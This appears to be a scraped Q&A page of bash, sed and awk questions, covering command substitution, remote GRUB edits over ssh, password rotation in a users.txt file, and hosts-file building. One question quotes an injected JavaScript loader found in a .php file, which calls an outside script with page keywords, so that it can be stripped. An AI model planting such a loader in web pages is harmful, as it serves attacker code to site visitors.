Save variable with command substitution... command not found - linux

I need to save into a bash variable a string after a grep and sed treatment.
Here my code :
echo ${plan} | grep -e '^\S' -e 'Home directory:' | sed -e 's/Home directory: //'
/home/james
That's what I need to save into a variable... so I tried :
HOME_DIRECTORY=$(${plan} | $(grep -e '^\S' -e 'Home directory:') | $(sed -e 's/Home directory: //'))
and
HOME_DIRECTORY=`${plan} | grep -e '^\S' -e 'Home directory:' | sed -e 's/Home directory: //'`
But both give me :
line 121: Home: command not found

Change you command to ,
HOME_DIRECTORY=$(echo ${plan} | grep -e '^\S' -e 'Home directory:' | sed -e 's/Home directory: //')
That is, you need to include the whole command inside $().

Related

escaping special character while executing commands remotely using ssh

When ran commands locally on the remote server outputs would work as expected:
desired_kernel_version="5.4.0-105-generic"
cat /tmp/grb.bkp | grep GRUB_DEFAULT
GRUB_DEFAULT=0
kernel_position=$(awk -F\' '$1=="menuentry " || $1=="submenu " {print i++ " : " $2}; /\tmenuentry / {print "\t" i-1">"j++ " : " $2};' /boot/grub/grub.cfg | grep "${desired_kernel_version}" | grep -v recovery | awk '{ print $1}' | sed 's/ //g')
echo $k_position
1>2
sed -i "s/GRUB_DEFAULT=0/GRUB_DEFAULT=\"${k_position}\"/g" /tmp/grb.bkp
cat /tmp/grb.bkp | grep GRUB_DEFAULT
GRUB_DEFAULT="1>2"
desired output when ran from remote server:
replace 0 of GRUB_DEFAULT value to kernel_position within quotes.
server=abcd
kernel_position=$(ssh -qT $server awk -F\' '$1=="menuentry " || $1=="submenu " {print i++ " : " $2}; /\tmenuentry / {print "\t" i-1">"j++ " : " $2};' /boot/grub/grub.cfg | grep "${desired_kernel_version}" | grep -v recovery | awk '{ print $1}' | sed 's/ //g')
ssh -qT $server "sed -i "s/GRUB_DEFAULT=0/GRUB_DEFAULT=\"${k_position}\"/g" /tmp/grb.bkp"
Suggesting to avoid quoting hell.
Send muli-line command into ssh by writing a script remote-script.sh with all lines.
remote-script.sh
#!/bin/bash
source ~/.bash_profile
$k_position=$1
desired_kernel_version="5.4.0-105-generic"
cat /tmp/grb.bkp | grep GRUB_DEFAULT
GRUB_DEFAULT=0
kernel_position=$(awk -F\' '$1=="menuentry " || $1=="submenu " {print i++ " : " $2}; /\tmenuentry / {print "\t" i-1">"j++ " : " $2};' /boot/grub/grub.cfg | grep "${desired_kernel_version}" | grep -v recovery | awk '{ print $1}' | sed 's/ //g')
echo $k_position
1>2
sed -i "s/GRUB_DEFAULT=0/GRUB_DEFAULT=\"${k_position}\"/g" /tmp/grb.bkp
cat /tmp/grb.bkp | grep GRUB_DEFAULT
GRUB_DEFAULT="1>2"
Give current user execution permissions on remote-script.sh
chmod u+x remote-script.sh
Use scp command to copy remote-script.sh to $server. If possible only once at deploy time.
scp -q remote-script.sh $server:/home/your-user
Use ssh command to run remote-script.sh on remote server. Pass $k_position in command line.
ssh -qT $server "bash -c /home/your-user/remote-script.sh $k_position"
BTW, in computing kernel_position, suggesting to fold all awk, grep, sed commands into a single awk script.

Print result in order

I have an input file txt, like this
999844634|715717657|1508241298 |000018995|INSTALACION DECO + PUNTO TV ADIC DIGITAL|000000001|ALTA |73479107 |2019-03-15|246221122|0001|671564720|002|DNI|02842909 |
999844634|715717657|1508241298 |000021932|DECODER HD ZAPPER COMODATO |000000001|ALTA |73479107 |2019-03-15|246221122|0001|671564720|002|DNI|02842909 |
999844634|715717657|1508241298 |000021932|DECODER HD ZAPPER COMODATO |000000001|ALTA |73479107 |2019-03-15|246221122|0001|671564720|002|DNI|02842909 |
999846100|745304617|1501278792 |000018995|INSTALACION DECO + PUNTO TV ADIC DIGITAL|000000001|ALTA |12544155 |2019-03-15|248309282|0002|774235318|003|DNI|29600747 |
999846100|745304617|1501278792 |000021148|BLOQUE CATV FULL HD |000000001|ALTA |12544155 |2019-03-15|248309282|0002|774235318|003|DNI|29600747 |
999846100|745304617|1501278792 |000021251|DECODIFICADOR SD TV VENTA CATV |000000046|BAJA MIGRACION DE P/S |12544155 |2019-03-15|248309282|0001|774235318|003|DNI|29600747 |
999846100|745304617|1501278792 |000021956|INSTALACION PUNTO TV ANALOGICO ALTA |000000046|BAJA MIGRACION DE P/S |12544155 |2019-03-15|248309282|0001|774235318|003|DNI|29600747 |
and I have a script that converts this data
system=ATIS
username=AUTOMATICO
fecha=$(date +"%Y%m%d_%H%M%S")
header="$system|$file|$fecha|$username|"
#echo $header
## quitar espacios tr -s " "
## concatenar sed -e 's/^/'$header'/g'
## cadena awk -F'|' '{print $6"|"$7"|"$14"|"$15"|"$8"|"$4}'
#### ALTA
operacion="ALTA|"
temp1=$(cat $file | grep -i -e '001.*ALTA' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
#### ELIMINAR
operacion="ELIMINAR|"
temp2=$(cat $file | grep -i -e '046.*BAJA FINAL' -e '008.*BAJA FINAL' -e '012.*BAJA FINAL' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
#### BAJA
operacion="BAJA|"
temp3=$(cat $file | grep -i -e '008.*BAJA APC' -e '046.*BAJA MIGRACION' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
#### ACTIVAR
operacion="ACTIVAR|"
temp4=$(cat $file | grep -i -e '027.*RECONEXION APC' -e '028.*RECONEXION DEUDA' -e '042.*RECONEXION TIPIFICADA' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
#### DESACTIVAR
operacion="DESACTIVAR|"
temp5=$(cat $file | grep -i -e '031.*SUSPENSION APC' -e '032.*SUSPENSION PARCIAL DEUDA' -e '033.*SUSPENSION TOTAL DEUDA' -e '040.*SUSPENCION TIPIFICADA PARCIAL' -e '041.*SUSPENCION TIPIFICADA TOTAL' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
#### MANTENER
temp6=$(cat $file | grep -i -e '046.*ALTA - BAJA MIGRACION' -e '047.*ALTA - BAJA MIGRACION' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
#### CAMBIO TITULARIDAD
operacion="CAMBTITU|"
temp7=$(cat $file | grep -i -e '018.*CAMBIO DE TITULAR' | awk -F'|' '{print $14"|"$15"|"$8"|"$4}' | sed -e 's/^/'$header$operacion'/g' | sed -e 's/ //g' )
##armar los archivos
#echo "$temp1" > ATIS_ALTA_temp.txt
#echo "$temp2" > ATIS_ELIMINAR_temp.txt
#echo "$temp3" > ATIS_BAJA_temp.txt
#echo "$temp4" > ATIS_ACTIVAR_temp.txt
#echo "$temp5" > ATIS_DESACTIVAR.txt
echo "$temp1" > ${system}_ALL.txt
echo "$temp2" >> ${system}_ALL.txt
echo "$temp3" >> ${system}_ALL.txt
echo "$temp4" >> ${system}_ALL.txt
echo "$temp5" >> ${system}_ALL.txt
echo "$temp7" >> ${system}_ALL.txt
in this data output
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|ALTA|DNI|02842909|73479107|000018995
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|ALTA|DNI|02842909|73479107|000021932
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|ALTA|DNI|02842909|73479107|000021932
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|ALTA|DNI|29600747|12544155|000018995
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|ALTA|DNI|29600747|12544155|000021148
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|BAJA|DNI|29600747|12544155|000021251
ATIS|testArnold2.txt|20190408_111317|AUTOMATICO|BAJA|DNI|29600747|12544155|000021956
but I want my output to be in the same order as income because sometimes it is so much data and filters mess up, how do I write it in the same order in which it enters?
IIUC, you want to map a bunch of patterns into different operations. If so, you can use awk with the following code sample:
$ cat t18.awk
# here we set up "|" and optional surrounding spaces as FS, so no need
# to run sed to remove extra spaces
# OFS="|", header will be feed from the command line with -v option
BEGIN{ FS = " *\\| *"; OFS = "|"; }
# use if/else to find operation based on pattern in your "grep" commands
# I just added three, you need to add rest of them to the function
function find_operation() {
if (/001.*ALTA/) return "ALTA"
else if (/(046|008).*BAJA FINAL/) return "ELIMINAR"
else if (/008.*BAJA APC|046.*BAJA MIGRACION/) return "BAJA"
else return ""
}
# run the function(), if operation is not EMPTY, print it
operation = find_operation() {
print header, operation, $14, $15, $8, $4
}
I run the above on my MacOS, and it yields the following:
$ header="ATIS|testArnold2.txt|data|atok"
$ awk -v header="$header" -f t18.awk file.txt
ATIS|testArnold2.txt|data|atok|ALTA|DNI|02842909|73479107|000018995
ATIS|testArnold2.txt|data|atok|ALTA|DNI|02842909|73479107|000021932
ATIS|testArnold2.txt|data|atok|ALTA|DNI|02842909|73479107|000021932
ATIS|testArnold2.txt|data|atok|ALTA|DNI|29600747|12544155|000018995
ATIS|testArnold2.txt|data|atok|ALTA|DNI|29600747|12544155|000021148
ATIS|testArnold2.txt|data|atok|BAJA|DNI|29600747|12544155|000021251
ATIS|testArnold2.txt|data|atok|BAJA|DNI|29600747|12544155|000021956
Certainly, you should change the header to what you defined in your code, just remove the trailing pipe |.

sed on mac not updating the file as expected

I have a users.txt file with the following content:
[builders.ca]
UniqueID=DB#LqlFP
Login=buildca
Pass=5nFvZLwx
RelativePath=1
[DeluxeDoors.ca]
UniqueID=RgOkvU4Z
Login=DeluxDSM
Pass=L9pP3iaK
RelativePath=1
[Sonicwall.com]
UniqueID=JVpFoXad
Login=firewall
Pass=azasadsa
RelativePath=1
I wrote a script to replace all the passwords with random passwords in the file.
The script is:
users=($(cat users.txt | grep 'Login=' | cut -c 7-))
for user in "${users[#]}"; do
pass=$(cat users.txt | grep -A 2 $user | grep 'Pass' | cut -c 6-)
new_pass=$(cat /dev/urandom | env LC_CTYPE=C tr -cd 'a-zA-Z0-9' | head -c 8)
echo $pass;
echo $new_pass;
#perl -pi -e 's/$pass/$new_pass/g' users.txt
sed -i '' 's/"${pass}"/"${new_pass}"/g' users.txt
done
But it is not updating the passwords in the users.txt.
Any help would be highly appreciated.
sed -i '' 's/'"${pass}/${new_pass}"'/g' users.txt
^ ^
These seem to be missing, so the sed was getting ${pass} and ${new_pass} as literal strings, not the expanded variables.

replace a whole line in a file centos

I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done

Linux wget file output

I'm a total Linux noob. I just want to append a field in the first column
Ex. 192.168.0.254 mwd.com
wget -O - "http://mirror1.malwaredomains.com/files/justdomains" | ??? > /var/hosts.md
I was thinking to use sed but there's no data to substitute.
you can still use sed, just match on the start of line:
wget -O - "http://mirror1.malwaredomains.com/files/justdomains" | sed 's/^/192.168.0.254 /' >/var/hosts.md
You can substitute with a beginning-of-line or end-of-line marker:
> echo line | sed -e 's/$/ foobar/'
line foobar
> echo line | sed -e 's/^/foobar /'
foobar line

Resources